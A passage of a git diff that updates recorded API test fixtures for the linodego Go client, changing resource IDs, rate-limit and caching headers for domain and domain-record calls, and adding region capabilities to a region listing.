'none' Content-Type: @@ -170,7 +169,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -186,7 +185,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899363/records/22122788 + url: https://api.linode.com/v4beta/domains/470367/records/42401 method: DELETE response: body: '{}' @@ -225,7 +224,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -241,7 +240,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899363 + url: https://api.linode.com/v4beta/domains/470367 method: DELETE response: body: '{}' @@ -280,7 +279,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDomainRecord_Update.yaml b/test/integration/fixtures/TestDomainRecord_Update.yaml index b501f31c2..06cf8c31b 100644 --- a/test/integration/fixtures/TestDomainRecord_Update.yaml +++ b/test/integration/fixtures/TestDomainRecord_Update.yaml @@ -14,7 +14,7 @@ interactions: url: https://api.linode.com/v4beta/domains method: POST response: - body: '{"id": 1899360, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470364, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -32,8 +32,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +41,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -54,7 +53,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,10 +69,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899360/records + url: https://api.linode.com/v4beta/domains/470364/records method: POST response: - body: '{"id": 22122785, "type": "A", "name": "a", "target": "127.0.0.1", "priority": + body: '{"id": 42398, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: @@ -90,7 +89,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "234" + - "231" Content-Security-Policy: - default-src 'none' Content-Type: @@ -111,7 +110,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -127,12 +126,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899360/records/22122785 + url: https://api.linode.com/v4beta/domains/470364/records/42398 method: PUT response: - body: '{"id": 22122785, "type": "A", "name": "renamed", "target": "127.0.0.1", - "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": - 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"id": 42398, "type": "A", "name": "renamed", "target": "127.0.0.1", "priority": + 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, + "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" @@ -147,7 +146,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "240" + - "237" Content-Security-Policy: - default-src 'none' Content-Type: @@ -168,7 +167,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -184,7 +183,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899360/records/22122785 + url: https://api.linode.com/v4beta/domains/470364/records/42398 method: DELETE response: body: '{}' @@ -223,7 +222,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -239,7 +238,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899360 + url: https://api.linode.com/v4beta/domains/470364 method: DELETE response: body: '{}' @@ -278,7 +277,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDomainRecords_List.yaml b/test/integration/fixtures/TestDomainRecords_List.yaml index 9752e9a5e..9e9218394 100644 --- a/test/integration/fixtures/TestDomainRecords_List.yaml +++ b/test/integration/fixtures/TestDomainRecords_List.yaml @@ -14,7 +14,7 @@ interactions: url: https://api.linode.com/v4beta/domains method: POST response: - body: '{"id": 1899361, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470365, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -32,8 +32,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +41,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -54,7 +53,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,10 +69,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899361/records + url: https://api.linode.com/v4beta/domains/470365/records method: POST response: - body: '{"id": 22122786, "type": "A", "name": "a", "target": "127.0.0.1", "priority": + body: '{"id": 42399, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: @@ -90,7 +89,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "234" + - "231" Content-Security-Policy: - default-src 'none' Content-Type: @@ -111,7 +110,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -129,10 +128,10 @@ interactions: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"name":"a"}' - url: https://api.linode.com/v4beta/domains/1899361/records + url: https://api.linode.com/v4beta/domains/470365/records?page=1 method: GET response: - body: '{"data": [{"id": 22122786, "type": "A", "name": "a", "target": "127.0.0.1", + body: '{"data": [{"id": 42399, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' @@ -150,8 +149,6 @@ interactions: Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 - Content-Length: - - "283" Content-Security-Policy: - default-src 'none' Content-Type: @@ -161,6 +158,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -173,7 +171,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -189,7 +187,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899361/records/22122786 + url: https://api.linode.com/v4beta/domains/470365/records/42399 method: DELETE response: body: '{}' @@ -228,7 +226,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -244,7 +242,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899361 + url: https://api.linode.com/v4beta/domains/470365 method: DELETE response: body: '{}' @@ -283,7 +281,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDomainRecords_ListMultiplePages.yaml b/test/integration/fixtures/TestDomainRecords_ListMultiplePages.yaml index bde155580..3a78a3d93 100644 --- a/test/integration/fixtures/TestDomainRecords_ListMultiplePages.yaml +++ b/test/integration/fixtures/TestDomainRecords_ListMultiplePages.yaml @@ -14,7 +14,7 @@ interactions: url: https://api.linode.com/v4beta/domains method: POST response: - body: '{"id": 1899362, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470366, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -32,8 +32,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +41,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -54,7 +53,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,10 +69,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899362/records + url: https://api.linode.com/v4beta/domains/470366/records method: POST response: - body: '{"id": 22122787, "type": "A", "name": "a", "target": "127.0.0.1", "priority": + body: '{"id": 42400, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: @@ -90,7 +89,7 @@ interactions: Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - - "234" + - "231" Content-Security-Policy: - default-src 'none' Content-Type: @@ -111,7 +110,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -129,10 +128,10 @@ interactions: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"name":"a"}' - url: https://api.linode.com/v4beta/domains/1899362/records + url: https://api.linode.com/v4beta/domains/470366/records?page=1 method: GET response: - body: '{"data": [{"id": 22122787, "type": "A", "name": "a", "target": "127.0.0.1", + body: '{"data": [{"id": 42400, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' @@ -150,8 +149,6 @@ interactions: Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 - Content-Length: - - "283" Content-Security-Policy: - default-src 'none' Content-Type: @@ -161,6 +158,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -173,7 +171,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -189,7 +187,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899362/records/22122787 + url: https://api.linode.com/v4beta/domains/470366/records/42400 method: DELETE response: body: '{}' @@ -228,7 +226,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -244,7 +242,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899362 + url: https://api.linode.com/v4beta/domains/470366 method: DELETE response: body: '{}' @@ -283,7 +281,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDomain_Create.yaml b/test/integration/fixtures/TestDomain_Create.yaml index 577996b56..847fb78dc 100644 --- a/test/integration/fixtures/TestDomain_Create.yaml +++ b/test/integration/fixtures/TestDomain_Create.yaml @@ -14,7 +14,7 @@ interactions: url: https://api.linode.com/v4beta/domains method: POST response: - body: '{"id": 1899364, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470368, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -32,8 +32,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +41,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -54,7 +53,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,7 +69,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899364 + url: https://api.linode.com/v4beta/domains/470368 method: DELETE response: body: '{}' @@ -109,7 +108,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDomain_Get.yaml b/test/integration/fixtures/TestDomain_Get.yaml index 507d5436e..707812550 100644 --- a/test/integration/fixtures/TestDomain_Get.yaml +++ b/test/integration/fixtures/TestDomain_Get.yaml @@ -14,7 +14,7 @@ interactions: url: https://api.linode.com/v4beta/domains method: POST response: - body: '{"id": 1899367, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470371, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -32,8 +32,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +41,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -54,7 +53,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,10 +69,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899367 + url: https://api.linode.com/v4beta/domains/470371 method: GET response: - body: '{"id": 1899367, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470371, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -92,8 +91,6 @@ interactions: Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -103,6 +100,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -115,7 +113,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -131,7 +129,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899367 + url: https://api.linode.com/v4beta/domains/470371 method: DELETE response: body: '{}' @@ -170,7 +168,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDomain_Update.yaml b/test/integration/fixtures/TestDomain_Update.yaml index 21632174d..27b7e43da 100644 --- a/test/integration/fixtures/TestDomain_Update.yaml +++ b/test/integration/fixtures/TestDomain_Update.yaml @@ -14,7 +14,7 @@ interactions: url: https://api.linode.com/v4beta/domains method: POST response: - body: '{"id": 1899365, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470369, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -32,8 +32,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +41,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -54,7 +53,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,10 +69,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899365 + url: https://api.linode.com/v4beta/domains/470369 method: PUT response: - body: '{"id": 1899365, "type": "master", "domain": "linodego-renamed-domain.com", + body: '{"id": 470369, "type": "master", "domain": "linodego-renamed-domain.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", @@ -91,8 +90,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "355" Content-Security-Policy: - default-src 'none' Content-Type: @@ -102,6 +99,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -113,7 +111,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -129,7 +127,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899365 + url: https://api.linode.com/v4beta/domains/470369 method: DELETE response: body: '{}' @@ -168,7 +166,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDomain_ZoneFile_Get.yaml b/test/integration/fixtures/TestDomain_ZoneFile_Get.yaml index e722f29a4..4658cf7f3 100644 --- a/test/integration/fixtures/TestDomain_ZoneFile_Get.yaml +++ b/test/integration/fixtures/TestDomain_ZoneFile_Get.yaml @@ -14,7 +14,7 @@ interactions: url: https://api.linode.com/v4beta/domains method: POST response: - body: '{"id": 1899368, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470372, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -32,8 +32,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +41,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -54,7 +53,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,7 +69,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899368/zone-file + url: https://api.linode.com/v4beta/domains/470372/zone-file method: GET response: body: '{"zone_file": []}' @@ -111,7 +110,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -127,7 +126,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899368 + url: https://api.linode.com/v4beta/domains/470372 method: DELETE response: body: '{}' @@ -166,7 +165,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDomains_List.yaml b/test/integration/fixtures/TestDomains_List.yaml index 59976427d..9d9bd4c7d 100644 --- a/test/integration/fixtures/TestDomains_List.yaml +++ b/test/integration/fixtures/TestDomains_List.yaml @@ -14,7 +14,7 @@ interactions: url: https://api.linode.com/v4beta/domains method: POST response: - body: '{"id": 1899366, "type": "master", "domain": "linodego-blue-test.com", "tags": + body: '{"id": 470370, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": @@ -32,8 +32,6 @@ interactions: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 - Content-Length: - - "350" Content-Security-Policy: - default-src 'none' Content-Type: @@ -43,6 +41,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write @@ -54,7 +53,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -70,10 +69,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains + url: https://api.linode.com/v4beta/domains?page=1 method: GET response: - body: '{"data": [{"id": 1899366, "type": "master", "domain": "linodego-blue-test.com", + body: '{"data": [{"id": 470370, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", @@ -92,8 +91,6 @@ interactions: Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 - Content-Length: - - "399" Content-Security-Policy: - default-src 'none' Content-Type: @@ -103,6 +100,7 @@ interactions: Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -115,7 +113,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -131,7 +129,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/domains/1899366 + url: https://api.linode.com/v4beta/domains/470370 method: DELETE response: body: '{}' @@ -170,7 +168,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestFirewallDevice_Delete.yaml b/test/integration/fixtures/TestFirewallDevice_Delete.yaml index 1ae8672d0..db5cf4716 100644 --- a/test/integration/fixtures/TestFirewallDevice_Delete.yaml +++ b/test/integration/fixtures/TestFirewallDevice_Delete.yaml @@ -15,176 +15,262 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": + "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, + 172.232.0.22, 172.232.0.9, 172.232.0.19, 